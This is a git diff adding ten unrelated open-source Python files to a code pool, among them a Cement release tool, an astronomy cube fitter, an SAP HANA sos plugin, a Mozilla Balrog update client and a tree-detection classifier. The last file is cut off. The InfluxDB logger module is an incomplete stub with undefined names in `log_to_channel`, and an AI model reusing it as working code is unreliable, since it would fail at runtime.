diff --git a/pool/shard009/Python/0080493_devtools.py b/pool/shard009/Python/0080493_devtools.py new file mode 100644 index 0000000000000000000000000000000000000000..d5578d5422fccbfc31bb03e982a8b3807706aa9a --- /dev/null +++ b/pool/shard009/Python/0080493_devtools.py @@ -0,0 +1,166 @@ +#!/usr/bin/env python + +import os +import sys +import re +import tempfile + +from cement.core.foundation import CementApp +from cement.ext.ext_argparse import ArgparseController, expose +from cement.utils.version import get_version +from cement.utils import shell + +VERSION = get_version() + +class CementDevtoolsController(ArgparseController): + class Meta: + label = 'base' + arguments = [ + (['-y, --noprompt'], + dict(help='answer yes to prompts.', action='store_true', + dest='noprompt')), + (['--ignore-errors'], + dict(help="don't stop operations because of errors", + action='store_true', dest='ignore_errors')), + (['--loud'], dict(help='add more verbose output', + action='store_true', dest='loud')), + ] + + def _do_error(self, msg): + if self.app.pargs.ignore_errors: + self.app.log.error(msg) + else: + raise Exception(msg) + + @expose(hide=True) + def default(self): + raise AssertionError("A sub-command is required. See --help.") + + def _do_git(self): + # make sure we don't have any uncommitted changes + print('Checking for Uncommitted Changes') + out, err, res = shell.exec_cmd(['git', '--no-pager', 'diff']) + if len(out) > 0: + self._do_error('There are uncommitted changes. See `git status`.') + + # make sure we don't have any un-added files + print('Checking for Untracked Files') + out, err, res = shell.exec_cmd(['git', 'status']) + if re.match('Untracked files', str(out)): + self._do_error('There are untracked files. See `git status`.') + + # make sure there isn't an existing tag + print("Checking for Duplicate Git Tag") + out, err, res = shell.exec_cmd(['git', 'tag']) + for ver in str(out).split('\n'): + if ver == VERSION: + self._do_error("Tag %s already exists" % VERSION) + + print("Tagging Git Release") + out, err, res = shell.exec_cmd(['git', 'tag', '-a', '-m', VERSION, + VERSION]) + if res > 0: + self._do_error("Unable to tag release with git.") + + def _do_tests(self): + print('Running Nose Tests') + out, err, res = shell.exec_cmd(['which', 'nosetests']) + nose = out.decode('utf-8').strip() + if self.app.pargs.loud: + cmd_args = ['coverage', 'run', nose, '--verbosity=3'] + res = shell.exec_cmd2(cmd_args) + else: + cmd_args = ['coverage', 'run', nose, '--verbosity=0'] + out, err, res = shell.exec_cmd(cmd_args) + if res > 0: + self._do_error("\n\nNose tests did not pass.\n\n" + + "$ %s\n%s" % (' '.join(cmd_args), err)) + + def _do_flake8(self): + print("Checking Flake8 Compliance (pep8, pycodestyle, mccabe, etc)") + cmd_args = ['flake8', 'cement/'] + out, err, res = shell.exec_cmd(cmd_args) + if res > 0: + self._do_error("\n\nFlake8 checks did not pass.\n\n" + + "$ %s\n%s" % (' '.join(cmd_args), str(out))) + + @expose(help='run all unit tests') + def run_tests(self): + print('') + print('Python Version: %s' % sys.version) + print('') + print("Running Tests for Cement Version %s" % VERSION) + print('-' * 77) + self._do_flake8() + self._do_tests() + print('') + + @expose(help='run flake8 tests') + def flake8(self): + self._do_flake8() + + def _do_sphinx(self, dest_path): + print("Building Documentation") + cmd_args = ['rm', '-rf', 'docs/build/*'] + cmd_args = ['sphinx-build', 'doc/source', dest_path] + out, err, res = shell.exec_cmd(cmd_args) + if res > 0: + self._do_error("\n\nFailed to build sphinx documentation\n\n" + + "$ %s\n%s" % (' '.join(cmd_args), str(out))) + + @expose(help='create a cement release') + def make_release(self): + print('') + print("Making Release for Version %s" % VERSION) + print('-' * 77) + if not self.app.pargs.noprompt: + res = input("Continue? [yN] ") + if res not in ['Y', 'y', '1']: + sys.exit(1) + + tmp = tempfile.mkdtemp() + print("Destination: %s" % tmp) + os.makedirs(os.path.join(tmp, 'source')) + os.makedirs(os.path.join(tmp, 'doc')) + + self._do_flake8() + self._do_tests() + self._do_git() + self._do_sphinx(os.path.join(tmp, 'doc')) + + tar_path = os.path.join(tmp, 'source', 'cement-%s.tar' % VERSION) + gzip_path = "%s.gz" % tar_path + + print("Generating Release Files") + cmd_args = ['git', 'archive', VERSION, + '--prefix=cement-%s/' % VERSION, + '--output=%s' % tar_path] + out, err, res = shell.exec_cmd(cmd_args) + + cmd_args = ['gzip', tar_path] + out, err, res = shell.exec_cmd(cmd_args) + if res > 0: + self._do_error("\n\nFailed generating git archive.\n\n" + + "$ %s" % (' '.join(cmd_args), err)) + + print('') + + @expose(help='get the current version of the sources') + def get_version(self): + print(VERSION) + +class CementDevtoolsApp(CementApp): + class Meta: + label = 'cement-devtools' + base_controller = CementDevtoolsController + + +def main(): + with CementDevtoolsApp() as app: + try: + app.run() + except AssertionError as e: + print("AssertionError => %s" % e.args[0]) + +if __name__ == '__main__': + main() diff --git a/pool/shard009/Python/0080496_cube_fit.py b/pool/shard009/Python/0080496_cube_fit.py new file mode 100644 index 0000000000000000000000000000000000000000..7ac7b5b9fee427637a0369601bfa3850735105b1 --- /dev/null +++ b/pool/shard009/Python/0080496_cube_fit.py @@ -0,0 +1,101 @@ +""" +Cube Fitting +============ + +Complicated code for fitting of a whole data cube, pixel-by-pixel +""" +import pyspeckit +try: + import astropy.io.fits as pyfits +except ImportError: + import pyfits +import numpy as np +import os + +def cube_fit(cubefilename, outfilename, errfilename=None, scale_keyword=None, + vheight=False, verbose=False, signal_cut=3, verbose_level=2, + clobber=True, **kwargs): + """ + Light-weight wrapper for cube fitting + + Takes a cube and error map (error will be computed naively if not given) + and computes moments then fits for each spectrum in the cube. It then + saves the fitted parameters to a reasonably descriptive output file whose + header will look like :: + + PLANE1 = 'amplitude' + PLANE2 = 'velocity' + PLANE3 = 'sigma' + PLANE4 = 'err_amplitude' + PLANE5 = 'err_velocity' + PLANE6 = 'err_sigma' + PLANE7 = 'integral' + PLANE8 = 'integral_error' + CDELT3 = 1 + CTYPE3 = 'FITPAR' + CRVAL3 = 0 + CRPIX3 = 1 + + Parameters + ---------- + errfilename: [ None | string name of .fits file ] + A two-dimensional error map to use for computing signal-to-noise cuts + scale_keyword: [ None | Char ] + Keyword to pass to the data cube loader - multiplies cube by the number + indexed by this header kwarg if it exists. e.g., if your cube is in + T_A units and you want T_A* + vheight: [ bool ] + Is there a background to be fit? Used in moment computation + verbose: [ bool ] + verbose_level: [ int ] + How loud will the fitting procedure be? Passed to momenteach and fiteach + signal_cut: [ float ] + Signal-to-Noise ratio minimum. Spectra with a peak below this S/N ratio + will not be fit and will be left blank in the output fit parameter cube + clobber: [ bool ] + Overwrite parameter .fits cube if it exists? + + `kwargs` are passed to :class:`pyspeckit.Spectrum.specfit` + """ + + # Load the spectrum + sp = pyspeckit.Cube(cubefilename,scale_keyword=scale_keyword) + if os.path.exists(errfilename): + errmap = pyfits.getdata(errfilename) + else: + # very simple error calculation... biased and bad, needs improvement + # try using something from the cubes package + errmap = sp.cube.std(axis=0) + + # Run the fitter + sp.mapplot() + + # Compute the moments at each position to come up with reasonable guesses. + # This speeds up the process enormously, but can easily mess up the fits if + # there are bad pixels + sp.momenteach(vheight=vheight, verbose=verbose) + sp.fiteach(errmap=errmap, multifit=None, verbose_level=verbose_level, + signal_cut=signal_cut, usemomentcube=True, blank_value=np.nan, + verbose=verbose, **kwargs) + + # steal the header from the error map + f = pyfits.open(cubefilename) + # start replacing components of the pyfits object + f[0].data = np.concatenate([sp.parcube,sp.errcube,sp.integralmap]) + f[0].header['PLANE1'] = 'amplitude' + f[0].header['PLANE2'] = 'velocity' + f[0].header['PLANE3'] = 'sigma' + f[0].header['PLANE4'] = 'err_amplitude' + f[0].header['PLANE5'] = 'err_velocity' + f[0].header['PLANE6'] = 'err_sigma' + f[0].header['PLANE7'] = 'integral' + f[0].header['PLANE8'] = 'integral_error' + f[0].header['CDELT3'] = 1 + f[0].header['CTYPE3'] = 'FITPAR' + f[0].header['CRVAL3'] = 0 + f[0].header['CRPIX3'] = 1 + # save your work + f.writeto(outfilename, clobber=clobber) + + return sp + diff --git a/pool/shard009/Python/0080501_influx_data_logger.py b/pool/shard009/Python/0080501_influx_data_logger.py new file mode 100644 index 0000000000000000000000000000000000000000..60bba58cfe38a70a5168ab78d69cda29f4f52b25 --- /dev/null +++ b/pool/shard009/Python/0080501_influx_data_logger.py @@ -0,0 +1,122 @@ +# -*- coding: utf-8 -*- +""" +A module to control the QO Raspberry Pi based H-Bridge hardware. + +Qudi is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +Qudi is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with Qudi. If not, see . + +Copyright (c) the Qudi Developers. See the COPYRIGHT.txt file at the +top-level directory of this distribution and at +""" + +from core.base import Base +from interface.data_logger_interface import DataLoggerInterface + +from influxdb import InfluxDBClient + +class InfluxLogger(Base, DataLoggerInterface): + """ Log instrument values to InfluxDB. + """ + _modclass = 'InfluxLogger' + _modtype = 'hardware' + + def __init__(self, **kwargs): + super().__init__(**kwargs) + self.log_channels = {} + + def on_activate(self): + """ Activate module. + """ + config = self.getConfiguration() + + if 'user' in config: + self.user = config['user'] + + if 'password' in config: + self.pw = config['password'] + + if 'dbname' in config: + self.dbname = config['dbname'] + + if 'host' in config: + self.host = config['host'] + + if 'port' in config: + self.port = config['port'] + else: + self.port = 8086 + + if 'dataseries' in config: + self.series = config['dataseries'] + + if 'field' in config: + self.field = config['field'] + + if 'criterion' in config: + self.cr = config['criterion'] + + self.connect_db() + + def on_deactivate(self): + """ Deactivate module. + """ + del self.conn + + def connect_db(self): + """ Connect to Influx database """ + self.conn = InfluxDBClient(self.host, self.port, self.user, self.pw, self.dbname) + + def get_log_channels(self): + """ Get number of logging channels + + @return int: number of channels + """ + return self.log_channels + + def set_log_channels(self, channelspec): + """ Set number of logging channels. + + @param channelspec dict: name, spec + """ + for name, spec in channelspec.items(): + if spec is None and name in self.log_channels: + self.log_channels.pop(name) + elif name in self.log_channels: + pass + else: + pass + if True: + pass + + def log_to_channel(self, channel, values): + """ Log values to a specific channel. + + @param channel str: channel name + @param values list: data to be logged + """ + if channel in self.log_channels.keys() and len(values) == len(self.log_channels[channel][values]): + conn.write_points(format_data(channel, values, channeltags)) + + def format_data(self, channel_name, values, tags): + """ Format data according to InfluxDB JSON API. + + @param channel_name str: channel name + @param values list: data + @param tags list(str): list of tags + """ + return [{ + 'measurement': channel_name, + 'fields': values, + 'tags': tags + }] + diff --git a/pool/shard009/Python/0080505_generic.py b/pool/shard009/Python/0080505_generic.py new file mode 100644 index 0000000000000000000000000000000000000000..f688b1ad3b345b6095505e201664d8ea86ecbd8f --- /dev/null +++ b/pool/shard009/Python/0080505_generic.py @@ -0,0 +1,73 @@ +# -*- coding: utf-8 -*- + +""" + abouttag.generic + + Provides generic abouttag function; object type specified by first + parameter. + + Copyright 2010 AUTHORS (see AUTHORS file) + License: MIT, see LICENSE for more information +""" + +from abouttag.fluiddb import FluidDB +from abouttag.uri import URI +from abouttag.database import Database +from abouttag.objects import planet, element, twitteruser +from abouttag.location import GEOnet +from abouttag.books import book, ubook, author +from abouttag.music import album, track, artist, isrc_recording + +class AboutTagError(Exception): + pass + + +def abouttag(*args): + + items = { + 'fi-user': FluidDB.user, + 'fi-namespace': FluidDB.namespace, + 'fi-ns': FluidDB.namespace, + 'fi-tag': FluidDB.tag, + 'uri': URI, + 'url': URI, + 'URI': URI, + 'URL': URI, + 'db-table': Database.table, + 'db-field': Database.field, + 'planet': planet, + 'element': element, + 'book': ubook, + 'author': author, + 'album': album, + 'track': track, + 'artist': artist, + 'isrc-recording': isrc_recording, + 'twitter-user': twitteruser, + } + + if len(args) == 0: + raise AboutTagError('No object type specified') + object = args[0] + if not object in items: + raise AboutTagError('Object type %s not known.\n' + ' Supported object types are:\n %s\n' + % (object, '\n '.join(items.keys()))) + + f = items[object] + if object.startswith('fi'): + db = FluidDB() + return f(db, *args[1:]) + elif object.startswith('db'): + db = Database() + return f(db, *args[1:]) + elif object == 'author': + if len(args) > 2: + return f(args[1], *(int(a) for a in args[2:])) + else: + raise AboutTagError('No author specified') + else: + return f(*args[1:]) + + + diff --git a/pool/shard009/Python/0080507_saphana.py b/pool/shard009/Python/0080507_saphana.py new file mode 100644 index 0000000000000000000000000000000000000000..60540decc4e160329b055755c042d7633b98e8fa --- /dev/null +++ b/pool/shard009/Python/0080507_saphana.py @@ -0,0 +1,79 @@ +# This file is part of the sos project: https://github.com/sosreport/sos +# +# This copyrighted material is made available to anyone wishing to use, +# modify, copy, or redistribute it subject to the terms and conditions of +# version 2 of the GNU General Public License. +# +# See the LICENSE file in the source distribution for further information. + +import os +from sos.report.plugins import Plugin, RedHatPlugin + + +class saphana(Plugin, RedHatPlugin): + + short_desc = 'SAP HANA' + + plugin_name = 'saphana' + profiles = ['sap'] + + files = ['/hana'] + + def setup(self): + + sids = [] + + if os.path.isdir("/hana/shared"): + s = os.listdir("/hana/shared") + for sid in s: + if len(sid) == 3: + sid = sid.strip() + sids.append(sid) + + for sid in sids: + sidadm = '%sadm' % sid.lower() + + prefix = 'su - %s -c' % sidadm + + self.add_cmd_output('%s "HDB info"' % prefix, + suggest_filename="%s_HDB_info" % sid) + + self.add_cmd_output('%s "hdbsrvutil -v"' % prefix, + suggest_filename="%s_version" % sid) + + self.add_cmd_output('%s \'hdbcons "mm l -s -S -p"\'' % prefix, + suggest_filename="%s_memusage" % sid) + + self.add_cmd_output('%s \'hdbcons -e hdbindexserver \ + "replication info"\'' % prefix, + suggest_filename="%s_replicainfo" % sid) + + if os.path.isdir("/hana/shared/%s/" % sid): + i = os.listdir("/hana/shared/%s/" % sid) + for inst in i: + if "HDB" in inst: + inst = inst.strip()[-2:] + + # get GREEN/RED status + self.add_cmd_output( + 'su - %s -c "sapcontrol -nr %s \ + -function GetProcessList"' + % (sidadm, inst), + suggest_filename="%s_%s_status" + % (sid, inst) + ) + + path = '/usr/sap/%s/HDB%s/exe/python_support' + path %= (sid, inst) + + if os.path.isdir("%s" % path): + # SCALE OUT - slow + self.add_cmd_output( + 'su - %s -c "python \ + %s/landscapeHostConfiguration.py"' + % (sidadm, path), + suggest_filename="%s_%s_landscapeConfig" + % (sid, inst) + ) + +# vim: et ts=4 sw=4 diff --git a/pool/shard009/Python/0080508_CMRToolkitWizardAntrumCutStep.py b/pool/shard009/Python/0080508_CMRToolkitWizardAntrumCutStep.py new file mode 100644 index 0000000000000000000000000000000000000000..4c45dcc8e6161e3ad448925a85898bbcf0af6c21 --- /dev/null +++ b/pool/shard009/Python/0080508_CMRToolkitWizardAntrumCutStep.py @@ -0,0 +1,102 @@ +# Enable the 'Prefer executable CLIs' option in Slicer under Modules before running the wizard +from __main__ import qt, ctk, slicer + +from CMRToolkitWizardStep import * +from Helper import * +import PythonQt + +class CMRToolkitWizardAntrumCutStep( CMRToolkitWizardStep ) : + + def __init__( self, stepid ): + self.initialize( stepid ) + self.setName( '6. PV Antrum Cut' ) + self.setDescription( 'Remove pulmonary veins from endocardial segmentation label image' ) + + self.__parent = super( CMRToolkitWizardAntrumCutStep, self ) + + def killButton(self): + # Hide unneccesary button + bl = slicer.util.findChildren(text='AutomaticLeft*') + if len(bl): + bl[0].hide() + + def createUserInterface( self ): + ''' + ''' + self.__layout = self.__parent.createUserInterface() + print "createUserInterface: CMRToolkitWizardAntrumCutStep" + + ##TODO: Allow user to select the wall and endo or should the images be preloaded? + + #epiVolumeLabel = qt.QLabel( 'Epi Segmentation (Dilated) Label Image:' ) + #self.__epiVolumeSelector = slicer.qMRMLNodeComboBox() + #self.__epiVolumeSelector.toolTip = "Select the epicardium segmentation image" + #self.__epiVolumeSelector.nodeTypes = ['vtkMRMLScalarVolumeNode'] + #self.__epiVolumeSelector.setMRMLScene(slicer.mrmlScene) + #self.__epiVolumeSelector.addEnabled = False + #self.__epiVolumeSelector.renameEnabled = True + #self.__layout.addRow( epiVolumeLabel, self.__epiVolumeSelector ) + + #endoVolumeLabel = qt.QLabel( 'Endo Segmentation Label Image:' ) + #self.__endoVolumeSelector = slicer.qMRMLNodeComboBox() + #self.__endoVolumeSelector.toolTip = "Select the endocardium segmentation image" + #self.__endoVolumeSelector.nodeTypes = ['vtkMRMLScalarVolumeNode'] + #self.__endoVolumeSelector.setMRMLScene(slicer.mrmlScene) + #self.__endoVolumeSelector.addEnabled = False + #self.__endoVolumeSelector.renameEnabled = True + #self.__layout.addRow( endoVolumeLabel, self.__endoVolumeSelector ) + + antrumCutButton = qt.QPushButton('Load PV Antrum Cut Module') + self.__layout.addRow(antrumCutButton) + antrumCutButton.connect('clicked()', self.startAntrumCut) + + def startAntrumCut(self): + # Load epi and endo segmentation volumes from previous steps + endoSegVolumeID = pNode.GetParameter('endoSegVolumeID') + endoSegVolume = Helper.getNodeByID(endoSegVolumeID) + + wallCleanupSegVolumeID = pNode.GetParameter('wallCleanupSegID') + wallCleanupSegVolume = Helper.getNodeByID(wallCleanupSegVolumeID) + + volumesLogic = slicer.modules.volumes.logic() + global antrumCutOutputVolume + antrumCutOutputVolume = volumesLogic.CreateAndAddLabelVolume( slicer.mrmlScene, endoSegVolume, 'Endocardium No Veins Segmentation Output' ) + + if endoSegVolume != None and wallCleanupSegVolume != None and endoSegVolumeID != wallCleanupSegVolumeID: + param = {} + param['endoLayer'] = endoSegVolume.GetID() + param['wallLayer'] = wallCleanupSegVolume.GetID() + param['endoNoVeins'] = antrumCutOutputVolume.GetID() + slicer.cli.run( slicer.modules.cmrtoolkitpvantrumcut, None, param, wait_for_completion=True ) + else: + qt.QMessageBox.critical(slicer.util.mainWindow(), + 'PV Antrum Cut', 'Both endocardial and wall segmentation images are required to run PV Antrum Cut.') + + def validate( self, desiredBranchId ): + self.__parent.validate( desiredBranchId ) + + if antrumCutOutputVolume != None: + antrumCutVolumeID = antrumCutOutputVolume.GetID() + pNode = self.parameterNode() + pNode.SetParameter('antrumCutVolumeID', antrumCutVolumeID) + self.__parent.validationSucceeded(desiredBranchId) + else: + self.__parent.validationFailed(desiredBranchId, 'Error','Endocardium No Veins segmentation image not created successfully.') + + def onEntry(self, comingFrom, transitionType): + super(CMRToolkitWizardAntrumCutStep, self).onEntry(comingFrom, transitionType) + # Make global in order to be accessible by 'startAntrumCut' + global pNode + pNode = self.parameterNode() + pNode.SetParameter('currentStep', self.stepid) + + qt.QTimer.singleShot(0, self.killButton) + + def onExit(self, goingTo, transitionType): + pNode = self.parameterNode() + + #if goingTo.id() != 'EndoNVIsosurface': + # return + + super(CMRToolkitWizardAntrumCutStep, self).onExit(goingTo, transitionType) + diff --git a/pool/shard009/Python/0080509_classify_cascade.py b/pool/shard009/Python/0080509_classify_cascade.py new file mode 100644 index 0000000000000000000000000000000000000000..397de98cd2eac00eeced7951f60ea3b0a6f97b8e --- /dev/null +++ b/pool/shard009/Python/0080509_classify_cascade.py @@ -0,0 +1,150 @@ +from sklearn.datasets import load_digits +from multilayer_perceptron import MultilayerPerceptronClassifier, MultilayerPerceptronRegressor +import numpy as np +from matplotlib import pyplot as plt +import glob +import Image +import datetime +from Haar_extractor import * +import warnings, os, sys +import matplotlib.pyplot as plt +warnings.filterwarnings("ignore") #removes the deprecation warnings + +print "Start:",datetime.datetime.now() + +def loadImage(imagepath): + #load the image and convert to an array + im=Image.open(imagepath) + pixels = list(im.getdata()) + final_pix = [] + for pix in pixels: + p = (pix[0]+pix[1]+pix[2])/3 + final_pix.append(p) + width, height = im.size + pixels = [final_pix[i * width:(i + 1) * width] for i in xrange(height)] + return pixels + +def loadSubImage(im): + pixels = list(im.getdata()) + final_pix = [] + for pix in pixels: + p = (pix[0]+pix[1]+pix[2])/3 + final_pix.append(p) + width, height = im.size + pixels = [final_pix[i * width:(i + 1) * width] for i in xrange(height)] + return pixels + +#load images and get first features +pat = [] +paty = [] +test = [] +testy = [] +positive_images = glob.glob("/home/jonathan/Baobab/fromGE/train/baobab/poss/pos*.png") +for im in positive_images: + image = loadImage(im) + haars = getFeatures1(image) + pat.append(haars) + paty.append(1) +negative_images = glob.glob("/home/jonathan/Baobab/fromGE/train/wbackground/bg*.png") +for im in negative_images: + image = loadImage(im) + haars = getFeatures1(image) + pat.append(haars) + paty.append(0) +test_images = glob.glob("/home/jonathan/Baobab/fromGE/train/test/*.png") +for im in test_images: + image = loadImage(im) + haars = getFeatures1(image) + test.append(haars) +X = np.array(pat) +y = np.array(paty) + +print "Finished loading images and computing first feature set:",datetime.datetime.now() + +pat = [] +paty = [] +positive_images = glob.glob("/home/jonathan/Baobab/fromGE/train/baobab/poss/pos*.png") +p = 1 +for im in positive_images: + p += 1 + image = loadImage(im) + haars = getHaarFeatures(image) + pat.append(haars) + paty.append(1) +negative_images = glob.glob("/home/jonathan/Baobab/fromGE/train/wbackground/bg*.png") +for im in negative_images: + image = loadImage(im) + haars = getHaarFeatures(image) + pat.append(haars) + paty.append(0) +X2 = np.array(pat) +y2 = np.array(paty) + +print "Finished loading images and computing second feature set:",datetime.datetime.now() + + +print "Beginning Training of first classifier:",datetime.datetime.now() + +# MLP training performance +mlp = MultilayerPerceptronClassifier(n_hidden = 5,max_iter = 500, alpha = 0.02) +mlp.fit(X, y) +print "Beginning Training of second classifier:",datetime.datetime.now() +mlp2 = MultilayerPerceptronClassifier(n_hidden = 5,max_iter = 800, alpha = 0.02) +mlp2.fit(X2, y2) +print "Finished Training:",datetime.datetime.now() + +print "Training Score = ", mlp.score(X, y) +print "Training Score 2", mlp2.score(X2, y2) +print mlp.intercept_output_ +#print "Predicted labels = ", mlp.predict(X) +#print "True labels = ", y +#print(datetime.datetime.now()) +#print "Pedicted for test:", mlp.predict(test) +#print "Pedicted for test:", mlp.predict_proba(test) +#print(datetime.datetime.now()) + +#~ #test on a real image +print "Beginning Test of image:",datetime.datetime.now() +test = [] +im_test=Image.open("/home/jonathan/Baobab/fromGE/256.png") +box_width = 40 +box_height = 40 + +imheight = 700 #GET FROM IMAGE!!! +imwidth = 1200 +x, y = 0, 0 +baobabs = [] +while y < (imheight-box_height): + x = 0 + while x < (imwidth - box_width): + region = im_test.crop((x,y,x+box_width, y+box_width)) + small_image = loadSubImage(region) + haars = getFeatures1(small_image) + test.append(haars) + results = mlp.predict(test) + test = [] + if results[0] == 1: + baobabs.append((x,y)) + x += 10 + y += 10 +print "narrowed down from ~8000 to",len(baobabs) +print "starting second round:",datetime.datetime.now() +baobabs2 = [] +#Fix This, need to train a new net with getHaarFeatures... +for b in baobabs: + x,y = b + region = im_test.crop((x,y,x+box_width, y+box_width)) + small_image = loadSubImage(region) + haars = getHaarFeatures(small_image) + test.append(haars) + results = mlp2.predict(test) + test = [] + if results[0] == 1: + baobabs2.append((x,y)) +print "narrowed down from %i to" % len(baobabs),len(baobabs2) +print "Finished:",datetime.datetime.now() +print baobabs2 + + + + diff --git a/pool/shard009/Python/0080515_client.py b/pool/shard009/Python/0080515_client.py new file mode 100644 index 0000000000000000000000000000000000000000..a9ada42ccc0ea9c10b2bb212438947f36b99c5ae --- /dev/null +++ b/pool/shard009/Python/0080515_client.py @@ -0,0 +1,201 @@ +import urllib +import re +import sys + +from connexion import request + +from flask import abort, make_response, current_app as app + +from auslib.AUS import AUS +from auslib.global_state import dbo + +import logging + +AUS = AUS() +LOG = logging.getLogger(__name__) + + +def unsubstituted_url_variables(): + abort(404) + + +def getHeaderArchitecture(buildTarget, ua): + if buildTarget.startswith('Darwin'): + if ua and 'PPC' in ua: + return 'PPC' + else: + return 'Intel' + else: + return 'Intel' + + +def getSystemCapabilities(systemCapabilities): + # Set defaults for the broken-down fields, because not all query versions + # will have all values. + caps = {"instructionSet": None, "memory": None} + # New-style SYSTEM_CAPABILITIES, as implemented in https://bugzilla.mozilla.org/show_bug.cgi?id=1373367 + if systemCapabilities.startswith("ISET:"): + for part in systemCapabilities.split(","): + key, value = part.split(":", 1) + if key == "ISET": + caps["instructionSet"] = value + elif key == "MEM": + caps["memory"] = int(value) + # Old-style, unprefixed SYSTEM_CAPABILITIES + else: + parts = systemCapabilities.split(",") + # The only known valid formats for this field are either a single part, + # or two parts separated by a comma. Anything else is unparsable, so we + # we cannot safely assign any fields. + if len(parts) == 1: + caps["instructionSet"] = parts[0] + elif len(parts) == 2: + caps["instructionSet"] = parts[0] + caps["memory"] = int(parts[1]) + + return caps + + +def getCleanQueryFromURL(url): + query = url.copy() + # Some versions of Avast make requests and blindly append "?avast=1" to + # them, which breaks query string parsing if ?force=1 is already + # there. Because we're nice people we'll fix it up. + if 'force' in query and 'avast' in query['force']: + force_value = query['force'] + force_split = force_value.split('?', 1) + + if len(force_split) < 2: + force_split = force_value.split('%3F', 1) + + query['force'] = int(force_split[0]) + + avast_parameter = force_split[1] + avast_split = avast_parameter.split('=') + query[avast_split[0]] = int(avast_split[1]) + + # Some versions of Avast have a bug in them that prepends "x86 " + if 'locale' in query: + query['locale'] = query['locale'].replace('x86 ', '') + + return query + + +def getQueryFromURL(url): + query = getCleanQueryFromURL(url) + if "systemCapabilities" in query: + query.update(getSystemCapabilities(url["systemCapabilities"])) + del query["systemCapabilities"] + query['osVersion'] = urllib.unquote(query['osVersion']) + ua = request.headers.get('User-Agent') + query['headerArchitecture'] = getHeaderArchitecture(query['buildTarget'], ua) + query['force'] = (int(query.get('force', 0)) == 1) + return query + + +def get_update_blob(**url): + query = getQueryFromURL(url) + LOG.debug("Got query: %s", query) + release, update_type = AUS.evaluateRules(query) + + # passing {},None returns empty xml + if release: + response_products = release.getResponseProducts() + response_blobs = [] + response_blob_names = release.getResponseBlobs() + if response_products: + # if we have a SuperBlob of gmp, we process the response products and + # concatenate their inner XMLs + for product in response_products: + product_query = query.copy() + product_query["product"] = product + response_release, response_update_type = AUS.evaluateRules(product_query) + if not response_release: + continue + + response_blobs.append({'product_query': product_query, + 'response_release': response_release, + 'response_update_type': response_update_type}) + elif response_blob_names: + for blob_name in response_blob_names: + # if we have a SuperBlob of systemaddons, we process the response products and + # concatenate their inner XMLs + product_query = query.copy() + product = dbo.releases.getReleases(name=blob_name, limit=1)[0]['product'] + product_query["product"] = product + response_release = dbo.releases.getReleaseBlob(name=blob_name) + if not response_release: + LOG.warning("No release found with name: %s", blob_name) + continue + + response_blobs.append({'product_query': product_query, + 'response_release': response_release, + 'response_update_type': update_type}) + else: + response_blobs.append({'product_query': query, + 'response_release': release, + 'response_update_type': update_type}) + + # getHeaderXML() returns outermost header for an update which + # is same for all release type + xml = release.getHeaderXML() + # we assume that all blobs will have similar ones. We might want to + # verify that all of them are indeed the same in the future. + + # Appending Header + # In case of superblob Extracting Header form parent release + xml.append(release.getInnerHeaderXML(query, + update_type, + app.config["WHITELISTED_DOMAINS"], + app.config["SPECIAL_FORCE_HOSTS"])) + for response_blob in response_blobs: + xml.extend(response_blob['response_release'] + .getInnerXML(response_blob['product_query'], + response_blob['response_update_type'], + app.config["WHITELISTED_DOMAINS"], + app.config["SPECIAL_FORCE_HOSTS"])) + # Appending Footer + # In case of superblob Extracting Header form parent release + xml.append(release.getInnerFooterXML(query, + update_type, + app.config["WHITELISTED_DOMAINS"], + app.config["SPECIAL_FORCE_HOSTS"])) + xml.append(release.getFooterXML()) + # ensure valid xml by using the right entity for ampersand + xml = re.sub('&(?!amp;)', '&', '\n'.join(xml)) + else: + xml = [''] + xml.append('') + xml.append('') + xml = "\n".join(xml) + LOG.debug("Sending XML: %s", xml) + response = make_response(xml) + response.headers["Cache-Control"] = app.cacheControl + response.mimetype = "text/xml" + return response + + +def _set_functions(function_names, function): + module = sys.modules[__name__] + for function_name in function_names: + setattr(module, function_name, function) + + +update_blob_functions = ["get_update_blob_1", + "get_update_blob_2", + "get_update_blob_3", + "get_update_blob_3_esrpre", + "get_update_blob_4", + "get_update_blob_5", + "get_update_blob_6"] + +unsubstituted_url_var_functions = ["unsubstituted_url_variables_1", + "unsubstituted_url_variables_2", + "unsubstituted_url_variables_3", + "unsubstituted_url_variables_4", + "unsubstituted_url_variables_5", + "unsubstituted_url_variables_6"] + + +_set_functions(update_blob_functions, get_update_blob) +_set_functions(unsubstituted_url_var_functions, unsubstituted_url_variables) diff --git a/pool/shard009/Python/0080516_bookmark.py b/pool/shard009/Python/0080516_bookmark.py new file mode 100644 index 0000000000000000000000000000000000000000..52160f24530e34061240c721b7ad9f4125679694 --- /dev/null +++ b/pool/shard009/Python/0080516_bookmark.py @@ -0,0 +1,43 @@ +from canvasapi.canvas_object import CanvasObject +from canvasapi.util import combine_kwargs + + +class Bookmark(CanvasObject): + def __str__(self): + return "{} ({})".format(self.name, self.id) + + def delete(self, **kwargs): + """ + Delete this bookmark. + + :calls: `DELETE /api/v1/users/self/bookmarks/:id \ + `_ + + :rtype: :class:`canvasapi.bookmark.Bookmark` + """ + response = self._requester.request( + "DELETE", + "users/self/bookmarks/{}".format(self.id), + _kwargs=combine_kwargs(**kwargs), + ) + return Bookmark(self._requester, response.json()) + + def edit(self, **kwargs): + """ + Modify this bookmark. + + :calls: `PUT /api/v1/users/self/bookmarks/:id \ + `_ + + :rtype: :class:`canvasapi.bookmark.Bookmark` + """ + response = self._requester.request( + "PUT", + "users/self/bookmarks/{}".format(self.id), + _kwargs=combine_kwargs(**kwargs), + ) + + if "name" in response.json() and "url" in response.json(): + super(Bookmark, self).set_attributes(response.json()) + + return Bookmark(self._requester, response.json()) diff --git a/pool/shard009/Python/0080519_fb_freq.py b/pool/shard009/Python/0080519_fb_freq.py new file mode 100644 index 0000000000000000000000000000000000000000..11c86126c833a56d298e6a47d6a559438a3d3bb5 --- /dev/null +++ b/pool/shard009/Python/0080519_fb_freq.py @@ -0,0 +1,124 @@ +import sys +import re +import numpy +from matplotlib import pyplot + +# Choose correct html parser library +version = sys.version_info.major +if version == 2: + from HTMLParser import HTMLParser +else: + from html.parser import HTMLParser + +### Initialize Data Structures ### + +# Set Month Data Array and Name values. +month = [0] * 12 +month_names = [ + "Jan", + "Feb", 